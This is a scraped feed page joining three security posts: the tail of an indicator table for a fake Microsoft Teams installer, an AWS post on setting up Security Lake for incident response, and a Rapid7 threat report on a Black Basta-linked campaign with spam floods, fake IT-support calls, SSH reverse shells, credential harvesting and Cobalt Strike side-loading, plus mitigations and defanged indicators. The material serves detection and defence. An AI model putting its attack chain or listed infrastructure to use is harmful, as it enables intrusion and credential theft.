CleanUp.dll 82B246D8E6FFBA1ABAFFBD386470C45CEF8383AD19394C7C0622C9E62128CB94 The .dll file that is run by run32dll.exe following the execution of TMSSetup.exe
DiskCleanUp.lnk b53f3c0cd32d7f20849850768da6431e5f876b7bfa61db0aa0700b02873393fa An .lnk file that was created following the execution of CleanUp30.dll
prodfindfeatures[.]com/ The domain hosting the malicious files TMSSetup (1).exe and MSTeamsSetup_c_l_.exe
micrsoft-teams-download[.]com/ The typo-squatted domain that users visited
impresoralaser[.]pro/ Part of the domain redirect chain for downloads of TMSSetup (1).exe and MSTeamsSetup_c_l_.exe
whereverhomebe[.]com/ Domain that CleanUp30.dll and CleanUp.dll attempts to communicate with
supfoundrysettlers[.]us/ Domain that CleanUp30.dll and CleanUp.dll attempts to communicate with
retdirectyourman[.]eu/ Domain that CleanUp30.dll and CleanUp.dll attempts to communicate with
149.248.79[.]62 Resolving IP for whereverhomebe[.]com/
64.95.10[.]243 Resolving IP for supfoundrysettlers[.]us/
206.166.251[.]114 Resolving IP for retdirectyourman[.]eu/

References

Article URL
Broomstick Malware Profile https://exchange.xforce.ibmcloud.com/malware-analysis/guid:08822f57c12416bc3e74997c473d1889
Twitter Mention of CleanUpLoader https://x.com/RussianPanda9xx/status/1757932257765945478

Accelerate incident response with Amazon Security Lake

Post Syndicated from Jerry Chen original https://aws.amazon.com/blogs/security/accelerate-incident-response-with-amazon-security-lake/

This blog post is the first of a two-part series that will demonstrate the value of Amazon Security Lake and how you can use it and other resources to accelerate your incident response (IR) capabilities. Security Lake is a purpose-built data lake that centrally stores your security logs in a common, industry-standard format. In part one, we will first demonstrate the value Security Lake can bring at each stage of the National Institute of Standards and Technology (NIST) SP 800-61 Computer Security Incident Handling Guide. We will then demonstrate how you can configure Security Lake in a multi-account deployment by using the AWS Security Reference Architecture (AWS SRA).

In part two of this series, we’ll walk through an example to show you how to use Security Lake and other AWS services and tools to drive an incident to resolution.

At Amazon Web Services (AWS), security is our top priority. When security incidents occur, customers need the right capabilities to quickly investigate and resolve them. Security Lake enhances your capabilities, especially during the detection and analysis stages, which can reduce time to resolution and business impact. We also cover incident response specifically in the security pillar of the AWS Well-Architected Framework, provide prescriptive guidance on preparing for and handling incidents, and publish incident response playbooks.

Incident response life cycle

NIST SP 800-61 describes a set of steps you use to resolve an incident. These include preparation (Stage 1), detection and analysis (Stage 2), containment, eradication and recovery (Stage 3), and finally post-incident activities (Stage 4).

Figure 1 shows the workflow of incident response defined by NIST SP 800-61. The response flows from Stage 1 through Stage 4, with Stages 2 and 3 often being an iterative process. We will discuss the value of Security Lake at each stage of the NIST incident response handling process, with a focus on preparation, detection, and analysis.

Figure 1: NIST 800-61 incident response life cycle. Source: NIST 800-61

Figure 1: NIST 800-61 incident response life cycle. Source: NIST 800-61

Stage 1: Preparation

Preparation helps you ensure that tools, processes, and people are prepared for incident response. In some cases, preparation can also help you identify systems, networks, and applications that might not be sufficiently secure. For example, you might determine you need certain system logs for incident response, but discover during preparation that those logs are not enabled.

Figure 2 shows how Security Lake can accelerate the preparation stage during the incident response process. Through native integration with various security data sources from both AWS services and third-party tools, Security Lake simplifies the integration and concentration of security data, which also facilitates training and rehearsal for incident response.

Figure 2: Amazon Security Lake data consolidation for IR preparation

Figure 2: Amazon Security Lake data consolidation for IR preparation

Some challenges in the preparation stage include the following:

  • Insufficient incident response planning, training, and rehearsal – Time constraints or insufficient resources can slow down preparation.
  • Complexity of system integration and data sources – An increasing number of security data sources and integration points require additional integration effort, or increase risk that some log sources are not integrated.
  • Centralized log repository for mixed environments – Customers with both on-premises and cloud infrastructure told us that consolidating logs for those mixed environments was a challenge.

Security Lake can help you deal with these challenges in the following ways:

  • Simplify system integration with security data normalization
  • Streamline data consolidation across mixed environments
    • Security Lake supports multiple log sources, including AWS native services and custom sources, which include third-party partner solutions, other cloud platforms and your on-premises log sources. For example, see this blog post to learn how to ingest Microsoft Azure activity logs into Security Lake.
  • Facilitate IR planning and testing
    • Security Lake reduces the undifferentiated heavy lifting needed to get security data into tooling so teams spend less time on configuration and data extract, transform, and load (ETL) work and more time on preparedness.
    • With a purpose-built security data lake and data retention policies that you define, security teams can integrate data-driven decision making into their planning and testing, answering questions such as “which incident handling capabilities do we prioritize?” and running Well-Architected game days.

Stages 2 and 3: Detection and Analysis, Containment, Eradication and Recovery

The Detection and Analysis stage (Stage 2) should lead you to understand the immediate cause of the incident and what steps need to be taken to contain it. Once contained, it’s critical to fully eradicate the issue. These steps form Stage 3 of the incident response cycle. You want to ensure that those malicious artifacts or exploits are removed from systems and verify that the impacted service has recovered from the incident.

Figure 3 shows how Security Lake can enable effective detection and analysis. Doing so enables teams to quickly contain, eradicate, and recover from the incident. Security Lake natively integrates with other AWS analytics services, such as Amazon Athena, Amazon QuickSight, and Amazon OpenSearch Service, which makes it easier for your security team to generate insights on the nature of the incident and to take relevant remediation steps.

Figure 3: Amazon Security Lake accelerates IR Detection and Analysis, Containment, Eradication, and Recovery

Figure 3: Amazon Security Lake accelerates IR Detection and Analysis, Containment, Eradication, and Recovery

Common challenges present in stages 2 and 3 include the following:

  • Challenges generating insights from disparate data sources
    • Inability to generate insights from security data means teams are less likely to discover an incident, as opposed to having the breach revealed to them by a third party (such as a threat actor).
    • Breaches disclosed by a threat actor might involve higher costs than incidents discovered by the impacted organizations themselves, because typically the unintended access has progressed for longer and impacted more resources and data than if the impacted organization discovered it sooner.
  • Inconsistency of data visibility and data siloing
    • Security log data silos may slow IR data analysis because it’s challenging to gather and correlate the necessary information to understand the full scope and impact of an incident. This can lead to delays in identifying the root cause, assessing the damage, and taking remediation steps.
    • Data silos might also mean additional permissions management overhead for administrators.
  • Disparate data sources add barriers to adopting new technology, such as AI-driven security analytics tools
    • AI-driven security analysis requires a large amount of security data from various data sources, which might be in disparate formats. Without a centralized security data repository, you might need to make additional effort to ingest and normalize data for model training.

Security Lake offers native support for log ingestion for a range of AWS security services, including AWS CloudTrail, AWS Security Hub, and VPC Flow Logs. Additionally, you can configure Security Lake to ingest external sources. This helps enrich findings and alerts.

Security Lake addresses the preceding challenges as follows:

  • Unleash security detection capability by centralizing detection data
    • With a purpose-built security data lake with a standard object schema, organizations can centrally access their security data—AWS and third-party—using the same set of IR tools. This can help you investigate incidents that involve multiple resources and complex timelines, which could require access logs, network logs, and other security findings. For example, use Amazon Athena to query all your security data. You can also build a centralized security finding dashboard with Amazon QuickSight.
  • Reduce management burden
    • With Security Lake, permissions complexity is reduced. You use the same access controls in AWS Identity and Access Management (IAM) to make sure that only the right people and systems have access to sensitive security data.

See this blog post for more details on generating machine learning insights for Security Lake data by using Amazon SageMaker.

Stage 4: Post-Incident Activity

Continuous improvement helps customers to further develop their IR capabilities. Teams should integrate lessons learned into their tools, policies, and processes. You decide on lifecycle policies for your security data. You can then retroactively review event data for insight and to support lessons learned. You can also share security telemetry at levels of granularity you define. Your organization can then establish distributed data views for forensic purposes and other purposes, while enforcing least privilege for data governance.

Figure 4 shows how Security Lake can accelerate the post-incident activity stage during the incident response process. Security Lake natively integrates with AWS Organizations to enable data sharing across various OUs within the organization, which further unleashes the power of machine learning to automatically create insights for incident response.

Figure 4: Security Lake accelerates post-incident activity

Figure 4: Security Lake accelerates post-incident activity

Having covered some advantages of working with your data in Security Lake, we will now demonstrate best practices for getting Security Lake set up.

Setting up for success with Security Lake

Most of the customers we work with run multiple AWS accounts, usually with AWS Organizations. With that in mind, we’re going to show you how to set up Security Lake and related tooling in line with guidance in the AWS Security Reference Architecture (AWS SRA). The AWS SRA provides guidance on how to deploy AWS security services in a multi-account environment. You will have one AWS account for security tooling and a different account to centralize log storage. You’ll run Security Lake in this log storage account.

If you just want to use Security Lake in a standalone account, follow these instructions.

Set up Security Lake in your logging account

Most of the instructions we link to in this section describe the process using either the console or AWS CLI tools. Where necessary, we’ve described the console experience for illustrative purposes.

The AmazonSecurityLakeAdministrator AWS managed IAM policy grants the permissions needed to set up Security Lake and related services. Note that you may want to further refine permissions, or remove that managed policy after Security Lake and the related services are set up and running.

To set up Security Lake in your logging account

  1. Note down the AWS account number that will be your delegated administrator account. This will be your centralized archive logs account. In the AWS Management Console, sign in to your Organizations management account and set up delegated administration for Security Lake.
  2. Sign in to the delegated administrator account, go to the Security Lake console, and choose Get started. Then follow these instructions from the Security Lake User Guide. While you’re setting this up, note the following specific guidance (this will make it easier to follow the second blog post in this series):

    Define source objective: For Sources to ingest, we recommend that you select Ingest the AWS default sources. However, if you want to include S3 data events, you’ll need to select Ingest specific AWS sources and then select CloudTrail – S3 data events. Note that we use these events for responding to the incident in blog post part 2, when we really drill down into user activity.

    Figure 5 shows the configuration of sources to ingest in Security Lake.

    Figure 5: Sources to ingest in Security Lake

    Figure 5: Sources to ingest in Security Lake

    We recommend leaving the other settings on this page as they are.

    Define target objective: We recommend that you choose Add rollup Region and add multiple AWS Regions to a designated rollup Region. The rollup Region is the one to which you will consolidate logs. The contributing Region is the one that will contribute logs to the rollup Region.

    Figure 6 shows how to select the rollup regions.

    Figure 6: Select rollup Regions

    Figure 6: Select rollup Regions

You now have Security Lake enabled, and in the background, additional services such as AWS Lake Formation and AWS Glue have been configured to organize your Security Lake data.

Now you need to configure a subscriber with query access so that you can query your Security Lake data. Here are a few recommendations:

  1. Subscribers are specific to a Region, so you want to make sure that you set up your subscriber in the same Region as your rollup Region.
  2. You will also set up an External ID. This is a value you define, and it’s used by the IAM role to prevent the confused deputy problem. Note that the subscriber will be your security tooling account.
  3. You will select Lake Formation for Data access, which will create shares in AWS Resource Access Manager (AWS RAM) that will be shared with the account that you specified in Subscriber credentials.
  4. If you’ve already set up Security Lake at some time in the past, you should select Specific log and event sources and confirm the source and version you want the subscriber to access. If it’s a new implementation, we recommend using version 2.0 or greater.
  5. There’s a note in the console that says the subscribing account will need to accept the RAM resource shares. However, if you’re using AWS Organizations, you don’t need to do that; the resource share will already list a status of Active when you select the Shared with me >> Resource shares in the subscriber (security tooling) account RAM console.

Note: If you prefer a visual guide, you can refer to this video to set up Security Lake in AWS Organizations.

Set up Amazon Athena and AWS Lake Formation in the security tooling account

If you go to Athena in your security tooling account, you won’t see your Security Lake tables yet because the tables are shared from the Security Lake account. Although services such as Amazon Athena can’t directly access databases or tables across accounts, the use of resource links overcomes this challenge.

To set up Athena and Lake Formation

  1. Go to the Lake Formation console in the security tooling account and follow the instructions to create resource links for the shared Security Lake tables. You’ll most likely use the Default database and will see your tables there. The table names in that database start with amazon_security_lake_table. You should expect to see about eight tables there.

    Figure 7 shows the shared tables in the Lake Formation service console.

    Figure 7: Shared tables in Lake Formation

    Figure 7: Shared tables in Lake Formation

    You will need to create resource links for each table, as described in the instructions from the Lake Formation Developer Guide.

    Figure 8 shows the resource link creation process.

    Figure 8: Creating resource links

    Figure 8: Creating resource links

  2. Next, go to Amazon Athena in the same Region. If Athena is not set up, follow the instructions to get it set up for SQL queries. Note that you won’t need to create a database—you’re going to use the “default” database that already exists. Select it from the Database drop-down menu in the Query editor view.
  3. In the Tables section, you should see all your Security Lake tables (represented by whatever names you gave them when you created the resource links in step 1, earlier).

Get your incident response playbooks ready

Incident response playbooks are an important tool that enable responders to work more effectively and consistently, and enable the organization to get incidents resolved more quickly. We’ve created some ready-to-go templates to get you started. You can further customize these templates to meet your needs. In part two of this post, you’ll be using the Unintended Data Access to an Amazon Simple Storage Service (Amazon S3) bucket playbook to resolve an incident. You can download that playbook so that you’re ready to follow it to get that incident resolved.

Conclusion

This is the first post in a two-part series about accelerating security incident response with Security Lake. We highlighted common challenges that decelerate customers’ incident responses across the stages outlined by NIST SP 800-61 and how Security Lake can help you address those challenges. We also showed you how to set up Security Lake and related services for incident response.

In the second part of this series, we’ll walk through a specific security incident—unintended data access—and share prescriptive guidance on using Security Lake to accelerate your incident response process.

 
If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Want more AWS Security news? Follow us on Twitter.

Jerry Chen

Jerry Chen

Jerry is currently a Senior Cloud Optimization Success Solutions Architect at AWS. He focuses on cloud security and operational architecture design for AWS customers and partners. You can follow Jerry on LinkedIn.

Frank Phillis

Frank Phillis

Frank is a Senior Solutions Architect (Security) at AWS. He enables customers to get their security architecture right. Frank specializes in cryptography, identity, and incident response. He’s the creator of the popular AWS Incident Response playbooks and regularly speaks at security events. When not thinking about tech, Frank can be found with his family, riding bikes, or making music.

Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators

Post Syndicated from Rapid7 original https://blog.rapid7.com/2024/05/10/ongoing-social-engineering-campaign-linked-to-black-basta-ransomware-operators/

Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators

Co-authored by Rapid7 analysts Tyler McGraw, Thomas Elkins, and Evan McCann

Executive Summary

Rapid7 has identified an ongoing social engineering campaign that has been targeting multiple managed detection and response (MDR) customers. The incident involves a threat actor overwhelming a user’s email with junk and calling the user, offering assistance. The threat actor prompts impacted users to download remote monitoring and management software like AnyDesk or utilize Microsoft’s built-in Quick Assist feature in order to establish a remote connection. Once a remote connection has been established, the threat actor moves to download payloads from their infrastructure in order to harvest the impacted users credentials and maintain persistence on the impacted users asset.

In one incident, Rapid7 observed the threat actor deploying Cobalt Strike beacons to other assets within the compromised network. While ransomware deployment was not observed in any of the cases Rapid7 responded to, the indicators of compromise we observed were previously linked with the Black Basta ransomware operators based on OSINT and other incident response engagements handled by Rapid7.

Overview

Since late April 2024, Rapid7 identified multiple cases of a novel social engineering campaign. The attacks begin with a group of users in the target environment receiving a large volume of spam emails. In all observed cases, the spam was significant enough to overwhelm the email protection solutions in place and arrived in the user’s inbox. Rapid7 determined many of the emails themselves were not malicious, but rather consisted of newsletter sign-up confirmation emails from numerous legitimate organizations across the world.

Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators
Figure 1. Example spam email.

With the emails sent, and the impacted users struggling to handle the volume of the spam, the threat actor then began to cycle through calling impacted users posing as a member of their organization’s IT team reaching out to offer support for their email issues. For each user they called, the threat actor attempted to socially engineer the user into providing remote access to their computer through the use of legitimate remote monitoring and management solutions. In all observed cases, Rapid7 determined initial access was facilitated by either the download and execution of the commonly abused RMM solution AnyDesk, or the built-in Windows remote support utility Quick Assist.

In the event the threat actor’s social engineering attempts were unsuccessful in getting a user to provide remote access, Rapid7 observed they immediately moved on to another user who had been targeted with their mass spam emails.

Once the threat actor successfully gains access to a user’s computer, they begin executing a series of batch scripts, presented to the user as updates, likely in an attempt to appear more legitimate and evade suspicion. The first batch script executed by the threat actor typically verifies connectivity to their command and control (C2) server and then downloads a zip archive containing a legitimate copy of OpenSSH for Windows (ultimately renamed to ***RuntimeBroker.exe***), along with its dependencies, several RSA keys, and other Secure Shell (SSH) configuration files. SSH is a protocol used to securely send commands to remote computers over the internet. While there are hard-coded C2 servers in many of the batch scripts, some are written so the C2 server and listening port can be specified on the command line as an override.

Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators
Figure 2. Initial batch script snippet
Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators
Figure 3. Compressed SSH files within s.zip.

The script then establishes persistence via run key entries  in the Windows registry. The run keys created by the batch script point to additional batch scripts that are created at run time. Each batch script pointed to by the run keys executes SSH via PowerShell in an infinite loop to attempt to establish a reverse shell connection to the specified C2 server using the downloaded RSA private key. Rapid7 observed several different variations of the batch scripts used by the threat actor, some of which also conditionally establish persistence using other remote monitoring and management solutions, including NetSupport and ScreenConnect.

Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators
Figure 4. The batch script creates run keys for persistence.

In all observed cases, Rapid7 has identified the usage of a batch script to harvest the victim’s credentials from the command line using PowerShell. The credentials are gathered under the false context of the “update” requiring the user to log in. In most of the observed batch script variations, the credentials are immediately exfiltrated to the threat actor’s server via a Secure Copy command (SCP). In at least one other observed script variant, credentials are saved to an archive and must be manually retrieved.

Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators
Figure 5. Stolen credentials are typically exfiltrated immediately.
Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators
Figure 6. Script variant with no secure copy for exfiltration.

In one observed case, once the initial compromise was completed, the threat actor then attempted to move laterally throughout the environment via SMB using Impacket, and ultimately failed to deploy Cobalt Strike despite several attempts. While Rapid7 did not observe successful data exfiltration or ransomware deployment in any of our investigations, the indicators of compromise found via forensic analysis conducted by Rapid7 are consistent with the Black Basta ransomware group based on internal and open source intelligence.

Forensic Analysis

In one incident, Rapid7 observed the threat actor attempting to deploy additional remote monitoring and management tools including ScreenConnect and the NetSupport remote access trojan (RAT). Rapid7 acquired the Client32.ini file, which holds the configuration data for the NetSupport RAT, including domains for the connection. Rapid7 observed the NetSupport RAT attempt communication with the following domains:

  • rewilivak13[.]com
  • greekpool[.]com
Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators
Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators
Figure 7 – NetSupport RAT Files and Client32.ini Content

After successfully gaining access to the compromised asset, Rapid7 observed the threat actor attempting to deploy Cobalt Strike beacons, disguised as a legitimate Dynamic Link Library (DLL) named 7z.DLL, to other assets within the same network as the compromised asset using the Impacket toolset.

In our analysis of 7z.DLL, Rapid7 observed the DLL was altered to include a function whose purpose was to XOR-decrypt the Cobalt Strike beacon using a hard-coded key and then execute the beacon.

The threat actor would attempt to deploy the Cobalt Strike beacon by executing the legitimate binary 7zG.exe and passing a command line argument of `b`, i.e. `C:\Users\Public\7zG.exe b`. By doing so, the legitimate binary 7zG.exe side-loads 7z.DLL, which in turn executes the embedded Cobalt Strike beacon. This technique is known as DLL side-loading, a method Rapid7 previously discussed in a blog post on the IDAT Loader.

Upon successful execution, Rapid7 observed the beacon inject a newly created process, choice.exe.

Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators
Figure 8 – Sample Cobalt Strike Configuration

Mitigations

Rapid7 recommends baselining your environment for all installed remote monitoring and management solutions and utilizing application allowlisting solutions, such as AppLocker or ​​Microsoft Defender Application Control, to block all unapproved RMM solutions from executing within the environment. For example, the Quick Assist tool, quickassist.exe, can be blocked from execution via AppLocker.  As an additional precaution, Rapid7 recommends blocking domains associated with all unapproved RMM solutions. A public GitHub repo containing a catalog of RMM solutions, their binary names, and associated domains can be found here.

Rapid7 recommends ensuring users are aware of established IT channels and communication methods to identify and prevent common social engineering attacks. We also recommend ensuring users are empowered to report suspicious phone calls and texts purporting to be from internal IT staff.

MITRE ATT&CK Techniques

Tactic Technique Procedure
Denial of Service T1498: Network Denial of Service The threat actor overwhelms email protection solutions with spam.
Initial Access T1566.004: Phishing: Spearphishing Voice The threat actor calls impacted users and pretends to be a member of their organization’s IT team to gain remote access.
Execution T1059.003: Command and Scripting Interpreter: Windows Command Shell The threat actor executes batch script after establishing remote access to a user’s asset.
Execution T1059.001: Command and Scripting Interpreter: PowerShell Batch scripts used by the threat actor execute certain commands via PowerShell.
Persistence T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder The threat actor creates a run key to execute a batch script via PowerShell, which then attempts to establish a reverse tunnel via SSH.
Defense Evasion T1222.001: File and Directory Permissions Modification: Windows File and Directory Permissions Modification The threat actor uses cacls.exe via batch script to modify file permissions.
Defense Evasion T1140: Deobfuscate/Decode Files or Information The threat actor encrypted several zip archive payloads with the password “qaz123”.
Credential Access T1056.001: Input Capture: Keylogging The threat actor runs a batch script that records the user’s password via command line input.
Discovery T1033: System Owner/User Discovery The threat actor uses whoami.exe to evaluate if the impacted user is an administrator or not.
Lateral Movement T1570: Lateral Tool Transfer Impacket was used to move payloads between compromised systems.
Command and Control T1572: Protocol Tunneling An SSH reverse tunnel is used to provide the threat actor with persistent remote access.

Rapid7 Customers

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7’s expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to this malware campaign:

Detections
Attacker Technique – Renamed SSH For Windows
Persistence – Run Key Added by Reg.exe
Suspicious Process – Non Approved Application
Suspicious Process – 7zip Executed From Users Directory (*InsightIDR product only customers should evaluate and determine if they would like to activate this detection within the InsightIDR detection library; this detection is currently active for MDR/MTC customers)
Attacker Technique – Enumerating Domain Or Enterprise Admins With Net Command
Network Discovery – Domain Controllers via Net.exe

Indicators of Compromise

Network Based Indicators (NBIs)

Domain/IPv4 Address Notes
upd7[.]com Batch script and remote access tool host.
upd7a[.]com Batch script and remote access tool host.
195.123.233[.]55 C2 server contained within batch scripts.
38.180.142[.]249 C2 server contained within batch scripts.
5.161.245[.]155 C2 server contained within batch scripts.
20.115.96[.]90 C2 server contained within batch scripts.
91.90.195[.]52 C2 server contained within batch scripts.
195.123.233[.]42 C2 server contained within batch scripts.
15.235.218[.]150 AnyDesk server used by the threat actor.
greekpool[.]com Primary NetSupport RAT gateway.
rewilivak13[.]com Secondary NetSupport RAT gateway.
77.246.101[.]135 C2 address used to connect via AnyDesk.
limitedtoday[.]com Cobalt Strike C2 domain.
thetrailbig[.]net Cobalt Strike C2 domain.

Host-based indicators (HBIs)

File SHA256 Notes
s.zip C18E7709866F8B1A271A54407973152BE1036AD3B57423101D7C3DA98664D108 Payload containing SSH config files used by the threat actor.
id_rsa 59F1C5FE47C1733B84360A72E419A07315FBAE895DD23C1E32F1392E67313859 Private RSA key that is downloaded to impacted assets.
id_rsa_client 2EC12F4EE375087C921BE72F3BD87E6E12A2394E8E747998676754C9E3E9798E Private RSA key that is downloaded to impacted assets.
authorized_keys 35456F84BC88854F16E316290104D71A1F350E84B479EEBD6FBB2F77D36BCA8A Authorized key downloaded to impacted assets by the threat actor.
RuntimeBroker.exe 6F31CF7A11189C683D8455180B4EE6A60781D2E3F3AADF3ECC86F578D480CFA9 Renamed copy of the legitimate OpenSSH for Windows utility.
a.zip A47718693DC12F061692212A354AFBA8CA61590D8C25511C50CFECF73534C750 Payload that contains a batch script and the legitimate ScreenConnect setup executable.
a3.zip 76F959205D0A0C40F3200E174DB6BB030A1FDE39B0A190B6188D9C10A0CA07C8 Contains a credential harvesting batch script.